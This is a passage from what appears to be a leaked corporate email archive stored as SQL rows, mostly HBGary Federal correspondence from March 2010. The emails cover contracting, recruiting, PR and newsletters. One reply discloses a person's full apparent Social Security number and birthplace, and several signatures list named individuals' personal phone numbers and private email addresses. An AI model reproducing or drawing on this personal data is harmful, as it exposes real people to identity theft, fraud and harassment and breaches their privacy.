emergency management.\r\n Click Here to Read\r\n More10\r\n Questions for SRA\'s Stan SloaneThe new year marks a significant chapter for Stan Sloane: It\'s his\r\n third year as CEO of SRA International. In the spirit of 2010, ExecutiveBiz\r\n recently brought 10 questions to Sloane. In a candid exchange, Sloane offers his\r\n take on top industry challenges &#8212;&nbsp; everything from insourcing to\r\n organizational conflict of interest &#8212; as well as leadership lessons he\'s\r\n learned along the way. As for SRA? \"The future is bright,\" says Sloane. \"Our\r\n strategy has been to focus on the fast moving streams. Positioning the company for\r\n that seems to be paying off.\" Check out Sloane\'s thoughts on insourcing in this\r\n video. Click Here to Play the\r\n VideoAdmiral William Fallon Named CEO at New NeuralIQ Government \r\nServicesNeuralIQ,\r\n Inc. has established NeuralIQ Government Services, Inc. in Alexandria, \r\nVA with Admiral William J. Fallon, U.S. Navy (Retired) as Chief \r\nExecutive Officer. The Government Services Company, providing sales and \r\nservice to federal, state and local government agencies, is a subsidiary\r\n of NeuralIQ Inc., headquartered in Kirkland, Washington. The company\'s \r\nresearch and development operations are in Santa Monica, California Click Here to Read\r\n More&nbsp;\"People are the Weakest Link\" in Cyber Security says\r\n Panos Anastassiadis of Cyveillance\" &nbsp;CNSI\'s Adnan Ahmed: \"Know what you have to offer\"George\r\n Wilson\r\n on Stanley\'s Recent Contract with the State \r\nDepartmentBill Dean of MC Dean: \"The only thing to prevent\r\n [fixed-price contracting] will be political\r\n intervention.\"Steve Lilly, Co-Chair of Leukemia Ball 2010 on March\r\n 27 &nbsp;&nbsp;&nbsp;Raytheon Claims Patriot Support\r\n ContactSAIC Wins Deal with U.S. Transportation\r\n CommandStanley\'s Howard Ady Chimes in on Major\r\n DoS DealCSC\'s Austin Yerks Talks DOD IT Task Order\r\n WinCACI\'s Paul Cofoni Talks SPAWAR\r\n WinChertoff Group Announces New\r\n AdditionsGeoEye Names Chris Tully SVP,\r\n SalesNJVC Taps Michael Planert to Head European\r\n OperationsQGA Hires Chris Brown as Director of\r\n Digital StrategyCitrix to Support Microsoft\'s RemoteFX\r\n ProgramApptis, Deltek Partner to Bring the Cloud to\r\n the Federal GovernmentAlion\'s Bahman Atefi Discusses $310M Unit\r\n OfferingNGC Chairman Emeritus Ronald Sugar Honored\r\n by Aviation WeekAlion\'s Stacey Mendler to Speak at Event\r\n Honoring Jim DuffeyClick Here for More\r\n GovConwireSecret Service IT Infrastructure\r\n Outstanding&#8230;in 1980Chinese Publish Research Paper\r\n Envisioning Cyber Attack on U.S.Singapore Tries \"Virtual Cyber Security\r\n Park\"Gov Info SharingParliament Sees UK as Cybersecurity Leader\r\n for EUHuman Rights Activist Condemns Iran Cyber\r\n CrackdownMIT Keeps System Online During Cyber\r\n AttackLockheed Martin Opens Cyber Intelligence\r\n CenterClick Here for More from The New New\r\n Internet New Bidder Enters KC-X\r\n Tanker CompetitionNorthrop\'s Bernie McVey on\r\n the Need for Change in ITMicrosoft Holds\r\n Inspirational \'DigiGirlz Day\'Gov 2.0, Transparency Focal\r\n Points in New Book GAO Upholds Protest of\r\n Blackwater\'s Afghan Police Training Contract\r\n Click Here for More from\r\n GovCon Executive New Deputy Director for\r\n HHSU.S. Census Bureau Launches Google Maps to\r\n Track Census CountEPA Works Towards Clean, Safe Drinking\r\n WaterGates, Mullen Head U.S. Crime-Fighting\r\n Delegation to MexicoKundra Calls for Data.gov Enhancement:\r\n YouTubeHouse Passes Historic Healthcare\r\n BillFOIA Request Backlogs a \'Continuing\r\n ConcernSecretary Napolitano Pushes Immigration\r\n ReformMarch 19th Open Government\r\n DeadlineMilitary Women Honored During Pentagon\'s\r\n Women\'s History MonthClick Here for More from\r\n ExecutiveGovTeresa Carlson on White House\r\n TechnologyMark Drapeau\'s Advice to Government\r\n Contractors\r\n \"People are the Weakest Link\" in Cyber \r\nSecurity says Panos Anastassiadis of Cyveillance\"  \r\nCyber security is becoming an\r\n increasingly important issue for governments, businesses and individuals. Cyber\r\n criminals are becoming ever more sophisticated and cyber espionage is on the rise.\r\n Receiving advanced warning of incoming threats can prove advantageous for\r\n organizations looking to defend themselves from a host of cyber threats.\r\n ExecutiveBiz recently had the opportunity to talk with Panos Anastassiadis, COO of\r\n Cyveillance, a world leader in cyber security, recently acquired by QinetiQ North\r\n America. Anastassiadis has over 30 years experience in high-tech management,\r\n specializing in cyber security for the past 10 years. In this interview, he\r\n discussed the increasing sophistication of advanced persistent cyber threats, how\r\n to provide early indications and warnings to limit undetected penetrations and\r\n Cyveillance\'s plans for the future.Click Here to Read\r\n More\r\nCNSI\'s Adnan Ahmed: \"Know what you have to\r\n offer\"CNSI Co-founder and Chief Strategy Officer, Adnan Ahmed, has seen his\r\n business flourish with 13 years of consecutive growth. With one of the current\r\n goals to expand their healthcare footprint, he shared with us some of the\r\n company\'s other priorities for this year, as well as his personal goals. Ahmed was\r\n able to share with us his advice on founding a new company and some of the best\r\n advice he has received in his lifetime. Click Here to Read\r\n MoreGeorge\r\n Wilson on Stanley\'s Recent Contract with the State \r\nDepartmentEarlier this month, GovCon Wire\r\n reported&nbsp; on Stanley, \r\nInc.\'s contract with the Department of State, Bureau of Consular \r\nAffairs. Under the award, worth a potential $2.8 billion, Stanley will \r\ncompete with one other company for task orders to \"provide business \r\nprocess support services for both non-immigrant and immigrant \r\nvisa-related operations at U.S. embassies and consulates abroad.\" These \r\ninclude providing pre-application appointment and fee-collection \r\nservices to visa applicants, and providing management information \r\nregarding those customers to State.\r\n Click Here to Read\r\n MoreBill Dean of MC Dean: \"The only thing to \r\nprevent [fixed-price contracting] will be political\r\n intervention.\"GovCon Executive:&nbsp; Can you tell me about MC Dean\'s Leadership\r\n in Energy \r\nand Environmental Design (LEED) green building initiatives?Bill Dean:&nbsp; We\'re an expert\r\n engineering firm.&nbsp; Very few firms have the level of engineering expertise and\r\n technical expertise that we possess in the electrical arena.&nbsp; I would say in\r\n what I would call the field of micro-electrical generation which includes solar\r\n and wind energy in the micro sense (not in the banks and arrays of energy\r\n generation systems you see off the Atlantic Coast and along the mountains) there\r\n are a lot of new turbine technologies that are designed for urban applications and\r\n suburban applications.&nbsp; Distributed storage is also going to be a big deal as\r\n you start doing smart grid deployment beyond just the smart meter, but really when\r\n you are doing large scale switch tower you are going to have to have distributed\r\n storage so you can localize energy consumption.&nbsp; For example, a lot of the\r\n wind energy that is generated today, a lot of these kilowatts go straight into the\r\n ground - it can\'t be deployed into the grid because the grid is not intelligent\r\n enough to shift energy sources.&nbsp; We are a member of the Freedm Alliance which\r\n is a partnership between the National Science Foundation, Nationalized Foundation\r\n and a few other federal entities and a lot of the local universities and a handful\r\n of other major companies.&nbsp; That is predominantly studying smart energy\r\n technology, smart grid and smart distribution.&nbsp; We are world class engineers\r\n in the deployment of this stuff and this is really complex engineering if you do\r\n it right.&nbsp; That is kind of our bread and butter. Click Here to Read\r\n MoreSteve Lilly, Co-Chair of Leukemia Ball \r\n2010 on March 27 ExecutiveBiz had the chance to sit down with Leukemia Ball 2010 Co-chair\r\n Steve Lilly to discuss the event and his passion for the cause.&nbsp; Lilly is the\r\n Senior Vice President and Chief Financial Officer of the National Rural Utilities\r\n Cooperative Finance Corporation (\"CFC\"), where he has been employed for the past\r\n 27 years.&nbsp; CFC is a $20.0 billion private finance organization, which serves\r\n the capital requirements of America\'s rural cooperative electric utility\r\n systems. Click Here to Read More \r\n A\r\n Letter from the EditorThrough our weekly emagazine and daily blog,\r\n ExecutiveBiz offers our readership an insider\'s view of news and trends shaping\r\n small, medium, and large companies within industries such as defense, technology,\r\n and health care.&nbsp; In addition to our daily blog, we\'ve launched four new\r\n media properties, GovConWire,\r\n GovConExecutive,\r\n ExecutiveGov,\r\n and TheNewNewInternet.\r\n Each week, we deliver in-depth profiles of industry leaders, candid Q&As, plus the\r\n latest news and trends, and value-add information to help you do your job\r\n better.&nbsp; You\'re a big part of the equation both online and off &#8212; which\r\n is why we want to hear from you. Have a story tip? Or an idea for a speaking\r\n event? Feel free to contact me direct. You can also follow us on Twitter, Facebook,\r\n and LinkedIn.J.D. KathuriaEditor-in-chief\r\n ExecutiveBizo: 703-226-7010&nbsp; &nbsp;jd@executivebiz.com&nbsp;&nbsp;\r\n ExecutiveBiz, 8230 Old Courthouse\r\n RoadVienna, VA 22181Update PreferencesList\r\n Unsubscribe\r\n',16654,'aaron_hbgary_com/16654.html'),(4500,'2010-03-25','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002621.M524487P3547Q4500.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','conf call','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFree Conference Call\r\nConference Dial-in Number: (712) 432-0080\r\nParticipant Access Code: 104 3853#\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6118,'aaron_hbgary_com/6118.html'),(4501,'2010-03-25','\"Kathryn Tracy\" <kathryn.tracy@sri.com>','/aaron@hbgary.com/new/1297002621.M868748P3547Q4501.eml','\"Aaron Barr\" <aaron@hbgary.com>','Pricing Spreadsheets','\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nI will be emailing you our spreadsheet this morning.&nbsp; We will \r\nsubmit the full documents to you this afternoon and will follow\r\nup with the fedx documents for arrival tomorrow morning.\r\n\r\nBest regards,\r\nkat\r\n\r\n\r\n\r\n',1342,'aaron_hbgary_com/1342.html'),(4502,'2010-03-25','\"Phil Porras\" <porras@csl.sri.com>','/aaron@hbgary.com/new/1297002623.M310983P3547Q4503.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Latest version','At 10:06 AM 3/24/2010, Aaron Barr wrote:\r\n>All,\r\n>\r\n>Again please look at tables for data to fill out for your area of \r\n>responsibility.\r\n>Innovations Table\r\n>Deliverables Table\r\n>Key Personnel Table (Ken I need you to fit your into the format in \r\n>the document).\r\n\r\nHi guys, about to send it in, but can one of you call me ...\r\n650-859-3232.  Thanks,  Phil\r\n\r\n\r\n\r\n\r\n>I also need comparisons with other research from your respective areas.\r\n>\r\n>Thanks,\r\n>Aaron\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>Aaron Barr\r\n>CEO\r\n>HBGary Federal Inc.\r\n\r\n',9983,'aaron_hbgary_com/9983.html'),(4503,'2010-03-25','\"Agam, Jennifer L\" <jennifer.l.agam@lmco.com>','/aaron@hbgary.com/new/1297002623.M563523P3547Q4504.eml','\"Agam, Jennifer L\" <jennifer.l.agam@lmco.com>,\"Agam, Jennifer L\" <jennifer.l.agam@lmco.com>,,,,','CALL FOR RESUMES:  Task Order Marathon \"Senior Software Engineer\" position vacancy - Lockheed Martin Proprietary Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\nLockheed Martin Proprietary Information\r\nProprietary information owned by Lockheed Martin that requires protection from unauthorized disclosure.  Access is restricted to employees, and authorized individuals who have executed nondisclosure agreements or who are otherwise legally bound by confidentiality obligations to Lockheed Martin.\r\n\r\n.\r\n.\r\n.\r\nMessage Start:\r\n-----------------------\r\n\r\n\r\n\r\nDear\r\nUNO Subcontractors:\r\n\r\nUNO has a Senior Software\r\nEngineer position vacancy on Task Order Marathon.&nbsp; If you feel that you\r\nhave candidates with the qualifications of the software expertise identified\r\nbelow, please advise Jennifer\r\nAgam (jennifer.l.agam@lmco.com) and Jim Racz (james.m.racz@lmco.com) via email.&nbsp; Please include\r\nCandidate names and time &amp; materials labor rates\r\nin that email. Provide classified Candidate resumes only to Jim Racz via secure\r\nfax at 703-793-6576.\r\n\r\nThe\r\nSenior Software Engineer position work will be performed at the\r\ncustomer&#8217;s location in Herndon, VA.&nbsp; The senior software engineer shall possess an\r\nUndergraduate/Graduate Degree (CS/CE) with/or (8) Eight or more years of\r\napplied/practical experience related to the technical domain.\r\n\r\nCandidates must already\r\nhave the proper clearances (TS/ISSA) to work at a customer&#8217;s facility.\r\n\r\nThe\r\nperiod of performance for these rates shall cover:\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n1/1/2010 - 12/31/2010 Option 1\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n1/1/2011 - 8/27/2011 option2\r\n\r\n&nbsp;\r\n\r\nYour\r\nrates may follow your standard practice for period of performance, be it\r\ncalendar year or fiscal year. \r\n\r\n(Rate\r\nAbbreviation) - Title\r\n\r\n(SR\r\nSE) &#8211; Senior Software Engineer\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nRequirements\r\nof the Senior Software Engineer position:\r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSoftware Development Expertise\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nExperience\r\nperforming C/C++ Programming\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nExperience\r\ndeveloping Microsoft Visual Studio add-ons\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nExperience\r\ndeveloping Windows Applications and services. Experience with drivers is\r\ndesired.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nExperience\r\nin Experience in debugging environments\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFamiliarity\r\nwith technical issues surrounding the designing, building and testing of\r\nsoftware development kits supporting Windows Platforms and frameworks\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCoding\r\nexperience on Intel or AMD platforms\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nExperiences\r\nwith software configuration management software such as SourceSafe or VCS.\r\nExperience in migrating from SourceSafe to CVS is desired\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nExperience\r\nperforming Windows programming for 32-bit systems. Experience with programming\r\nfor 64 bit systems is desired.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFamiliarity\r\nwith software reverse engineering techniques is desired.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nExperience\r\nusing IDAPro and SoftIce is desired.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nExperience\r\nin computer, network hacker techniques and methodologies to include application\r\nand mitigation techniques is desired.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFamiliarity\r\nwith public exploits and new unpublished exploits is desired.\r\n\r\n&nbsp;\r\n\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n(S) Software System Engineering\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nExperience\r\ndocumenting software source code\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nExperience\r\nin documentation and development of Software User Guides and Feature Lists\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nExperience\r\nin documentation development of Training Plans supporting Software is desired.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nExperience\r\nin End-to-End software development and delivery cycle &#8211; design, document,\r\nbuild/code, test, deliver, maintain software components.\r\n\r\n&nbsp;\r\n\r\nIf you have\r\nany questions, please do not hesitate to contact me. \r\n\r\n&nbsp;\r\n\r\nJennifer Agam\r\n\r\n&nbsp;\r\n\r\nSubcontract Administrator \r\nLockheed Martin Corporation\r\nInformation Systems &amp; Global Services\r\nPhone: 703-466-1236\r\n\r\nFax: 703-466-1270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2834,'aaron_hbgary_com/2834.html'),(4504,'2010-03-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002623.M743848P3547Q4505.eml','\"Aaron Barr\" <aaron@hbgary.com>','SSN','I need your SSN ASAP for Bill Thompson @ GD.\r\n',9065,'aaron_hbgary_com/9065.html'),(4505,'2010-03-25','\"Tillman, Michael K (IS)\" <michael.tillman@ngc.com>','/aaron@hbgary.com/new/1297002623.M77403P3547Q4502.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Long Time','\r\n\r\n\r\n\r\n\r\nRE: Long Time\r\n\r\n\r\n\r\n\r\nAaron - Here\'s the resume for a guy that I know may be loosing coverage here soon and has all his tickets for the BLDG.\r\n\r\nSemper Fidelis,\r\n\r\n\r\nMichael K. Tillman\r\nManager, JTF-GNO J34 Assignees Section\r\nNorthrop Grumman Information Systems\r\n2710 Technology Drive Annapolis Junction, MD\r\nComm: 443-654-0689\r\nCell: 443-280-0040\r\nE-mail: michael.tillman@ngc.com\r\nAlt E-mail: badgemini77@yahoo.com\r\nBlackberry: Mrtill1@tmo.blackberry.net\r\n\r\n&quot;Talent is God-given. Be humble. Fame is man-given. Be grateful. Conceit is self-given. Be careful.&quot; -John Wooden\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Tue 3/16/2010 7:27 AM\r\nTo: Tillman, Michael K (IS)\r\nSubject: Re: Long Time\r\n\r\nHi Mike,\r\n\r\nSorry I didn\'t make it over to say hello.&nbsp; Our meeting with Dave and&nbsp;\r\nhis team seemed to have gone really well and really long.\r\n\r\nLet me give you a little background so you can better inform or direct&nbsp;\r\nany folks that might be interested in our company.\r\n\r\nHBGary is a product company that builds malware detection, analysis,&nbsp;\r\nincident response, and threat intelligence products.&nbsp; HBGary Federal&nbsp;\r\n(my company) is a sister company that delivers high end services in&nbsp;\r\nthose areas to government and industry.&nbsp; I don\'t want to staff a watch&nbsp;\r\ncenter, I want to put one or a few specialized people into watch&nbsp;\r\ncenters that can help the organization make better use out of the&nbsp;\r\nresources they have.&nbsp; To start by being fully trained on some of the&nbsp;\r\nbest tools out there today for malware analysis, incident response,&nbsp;\r\nand threat intelligence.\r\n\r\nI have built a consortium of small companies that are &quot;best of breed&quot;&nbsp;\r\nin a particular parallel in cyber (software, host, network, external,&nbsp;\r\nsocial) and putting together an end to end threat intelligence&nbsp;\r\ncapability.&nbsp; The data from these parallel sources is brought into&nbsp;\r\nPalantir to develop and mature cyber operations scenarios.&nbsp; Once&nbsp;\r\ndeveloped and matured as new operations happen we can more rapidly&nbsp;\r\ncorrelate information and I believe do attribution as well.&nbsp; The&nbsp;\r\nstored scenarios are also a great resource for the rest of the&nbsp;\r\norganization to understand cyber operations.&nbsp; Every organization&nbsp;\r\ntypically has 1 or 2 really good analysts, the rest are &quot;in-\r\ntraining&quot;.&nbsp; This solves the knowledge management problem.\r\n\r\nA few key contracts I am focused on right now at NSA and talking with&nbsp;\r\ncompanies on teaming.\r\n\r\nNANA - potential awardees have asked for staffing support.\r\nANO - I think we will end up having a 1 or 2 people here to start.\r\nNTOC - looking at teaming now for that re-compete.\r\nRelationship positions.&nbsp; I know a few folks that have told me if I&nbsp;\r\nfind qualified candidates in the areas I mentioned above they will&nbsp;\r\nhave a spot for them.\r\n\r\nThanks Mike.&nbsp; Look forward to catching up sometime.\r\n\r\nAaron\r\n\r\nOn Mar 13, 2010, at 1:34 AM, Tillman, Michael K (IS) wrote:\r\n\r\n&gt; Aaron - I actually know a few guys with the tickets you seek that&nbsp;\r\n&gt; are looking or will be looking for work here in the near future.\r\n&gt;\r\n&gt; I attend a daily 0830 mtg that Dave chairs so please stop by if&nbsp;\r\n&gt; you\'ve got time.\r\n&gt;\r\n&gt; Semper Fidelis,\r\n&gt;\r\n&gt;\r\n&gt; Michael K. Tillman\r\n&gt; Manager, JTF-GNO J34 Assignees Section\r\n&gt; Northrop Grumman Information Systems\r\n&gt; 2710 Technology Drive Annapolis Junction, MD\r\n&gt; Comm: 443-654-0689\r\n&gt; Cell: 443-280-0040\r\n&gt; E-mail: michael.tillman@ngc.com\r\n&gt; Alt E-mail: badgemini77@yahoo.com\r\n&gt; Blackberry: Mrtill1@tmo.blackberry.net\r\n&gt;\r\n&gt; &quot;Talent is God-given. Be humble. Fame is man-given. Be grateful.&nbsp;\r\n&gt; Conceit is self-given. Be careful.&quot; -John Wooden\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Fri 3/12/2010 5:15 PM\r\n&gt; To: Smith, Dwayne R (IS); Tillman, Michael K (IS)\r\n&gt; Subject: Long Time\r\n&gt;\r\n&gt; Hi Guys,\r\n&gt;\r\n&gt; Hope things are slowing down for you a bit.&nbsp; You might have heard&nbsp;\r\n&gt; that I am not with Northrop any longer, now running a small sister&nbsp;\r\n&gt; company to HBGary, Inc.&nbsp; focused on cyber intelligence and malware&nbsp;\r\n&gt; analysis/incident response.&nbsp; I know how well connected you are up&nbsp;\r\n&gt; there, if you run across any folks that are in that space with&nbsp;\r\n&gt; tickets that are looking could you pass them my way?&nbsp; Its usually a&nbsp;\r\n&gt; fist fight for qualified folks and I have a few opportunities coming&nbsp;\r\n&gt; up to fill spots so starting to look.\r\n&gt;\r\n&gt; BTW, I am going to be up there on Monday around 1pm to talk with&nbsp;\r\n&gt; Dave Luber from the ANO, I would like to say hi.\r\n&gt;\r\n&gt; Have a good weekend.\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13110,'aaron_hbgary_com/13110.html'),(4506,'2010-03-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002624.M15938P3547Q4506.eml','\"Ted Vera\" <ted@hbgary.com>','Re: SSN','534783155\r\nBP: Portland, OR\r\n\r\n\r\n\r\nOn Mar 25, 2010, at 1:45 PM, Ted Vera wrote:\r\n\r\n> I need your SSN ASAP for Bill Thompson @ GD.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4204,'aaron_hbgary_com/4204.html'),(4507,'2010-03-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002624.M399893P3547Q4507.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: SSN','Got it thanks.\r\n\r\nI\'ve been on the phone with Bill & Penny (separately).  Bill said all of\r\nour \"Project\" tasks with GD are Gov\'t contracts.\r\n\r\n> \r\n> \r\n> \r\n> On Mar 25, 2010, at 1:45 PM, Ted Vera wrote:\r\n> \r\n>> I need your SSN ASAP for Bill Thompson @ GD.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\n',2604,'aaron_hbgary_com/2604.html'),(4508,'2010-03-25','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297002624.M731494P3547Q4508.eml','\"Aaron Barr\" <aaron@hbgary.com>,penny@hbgary.com','Cybersecurity legislation clears Senate committee','Hi Aaron and Penny,&nbsp;I saw this story today&nbsp;on Nextgov.com and thought&nbsp;the topic&nbsp;might make for an interesting blogpost on HBGary\'s site&nbsp; -- what do you think? Would these requirements be a good thing -- help improve national security?&nbsp;&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nhttp://www.nextgov.com/nextgov/ng_20100324_7395.php?oref=topstory\r\n\"Employees in businesses that provide cybersecurity services to federal agencies would have to meet new national licensing standards if the current bill is passed. And software built for the federal government and systems owned by the private sector that are designated as \"critical infrastructure information systems\" would have to pass National Institute of Standards and Technology standards\" \r\n\r\n',5482,'aaron_hbgary_com/5482.html'),(4509,'2010-03-25','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297002624.M934873P3547Q4509.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Cybersecurity legislation clears Senate committee','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe contributed to it so it would be a good blog post for Aaron\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Karen Burke\r\n[mailto:karenmaryburke@yahoo.com] \r\nSent: Thursday, March 25, 2010 11:01 AM\r\nTo: Aaron Barr; penny@hbgary.com\r\nSubject: Cybersecurity legislation clears Senate committee\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n  Hi Aaron and Penny,&nbsp;I saw this story today&nbsp;on\r\n  Nextgov.com and thought&nbsp;the topic&nbsp;might make for an interesting\r\n  blogpost on HBGary\'s site&nbsp; -- what do you think? Would these\r\n  requirements be a good thing -- help improve national security?&nbsp;&nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  http://www.nextgov.com/nextgov/ng_20100324_7395.php?oref=topstory\r\n  \r\n  \r\n  &quot;Employees in businesses that provide cybersecurity\r\n  services to federal agencies would have to meet new national licensing\r\n  standards if the current bill is passed. And software built for the federal\r\n  government and systems owned by the private sector that are designated as\r\n  &quot;critical infrastructure information systems&quot; would have to pass\r\n  National Institute of Standards and Technology standards&quot; \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3829,'aaron_hbgary_com/3829.html'),(4510,'2010-03-25','\"Erik Swan\" <newsletter@splunk.com>','/aaron@hbgary.com/new/1297002625.M131347P3547Q4510.eml','aaron@hbgary.com','Splunk’s Worldwide Users\' Conference: 5 tracks, 40 sessions, 3 days, 2 Keynotes and 1 You—register now!','\r\n\r\n\r\n\r\nYou asked, we answered. 2010 is the year of the community here at Splunk—the year for you. The best way to do it? Bring you together with all of our other great customers, partners and the smartest Splunkers to share best practices, deepen your practical knowledge and check out new solutions.Join us this August 9-11 for three action-packed days of Splunk \r\ngoodness. The conference is a great way to connect with hundreds of your\r\n peers, see how others apply Splunk technology to real-world projects, \r\nand become more involved in the Splunk community.\r\n\r\nRegister Now!\r\nhttp://www.splunk.com/goto/conference\r\n\r\nWe\'ll feature 5 tracks of 40 sessions over 2 days, plus a pre-conference day for Splunk University--aka Splunk hands-on training classes. \r\n\r\nRead more: http://www.splunk.com/goto/conference then register before May 14, 2010 to save $200 off of the registration fee.\r\n\r\nSee you soon!\r\nErik SwanSplunkCo-founder and CTO\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo unsubscribe from future emails or to update your e-mail preferences click here. Splunk, Inc. | 250 Brannan St. | San Francisco, CA 94107\r\n\r\n\r\n',2819,'aaron_hbgary_com/2819.html'),(4511,'2010-03-25','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297002625.M335098P3547Q4511.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Schedule Interview with WFED Radio','Thanks so much Aaron. Would you be willing to do some interviews inperson around the DC area and nearby VA such as Springfield, VA?--- On Wed, 3/24/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with WFED RadioTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Wednesday, March 24, 2010, 2:57 PM\r\nI do think it is a good move forward. &nbsp;I am sensitive to the concerns for privacy but I think that can be managed. &nbsp;In fact it has been managed for years. &nbsp;There are very strict provisions and guidelines for those that perform SIGINT duties and those that perform net defense duties. &nbsp;At NSA there are very few people that perform both duties and you have to receive frequent training to be in those billets. &nbsp;This would just bring the existing operational constructs to a larger scale and put more of the infrastructure under a single command and authority. &nbsp;There is just too much happening independently right now, there needs to be a central authority to manage a coordinated Defensive and Offensive Cyber strategy.\r\n\r\nIn a perfect world DHS would be capable of filling this role on Defense and would have a strong relationship with NSA with a free flow of information between them to coordinate offense and defense. &nbsp;DHS is working hard to be able to fill more of that role but they are not there, the relationship is not there and we need a central organization to start taking the lead now. &nbsp;With all of the services re-organizing their own Cyber efforts, networks, etc. &nbsp;and they are all looking to NSA to provide the national guidance.\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Mar 24, 2010, at 5:12 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nHi Aaron, Thanks for your note! I like the topic of the possible confirmation of Alexander as CyberComm -- he would also keep NSA director title. What is your take --- do you think this is a good move forward? If so, why -- will it lead to improved government cybersecurity issues? Any possible conflicts due to dual CyberCom-NSA director title? Looks like they will bring up nomination after Easter recess. Karen--- On Wed, 3/24/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with WFED 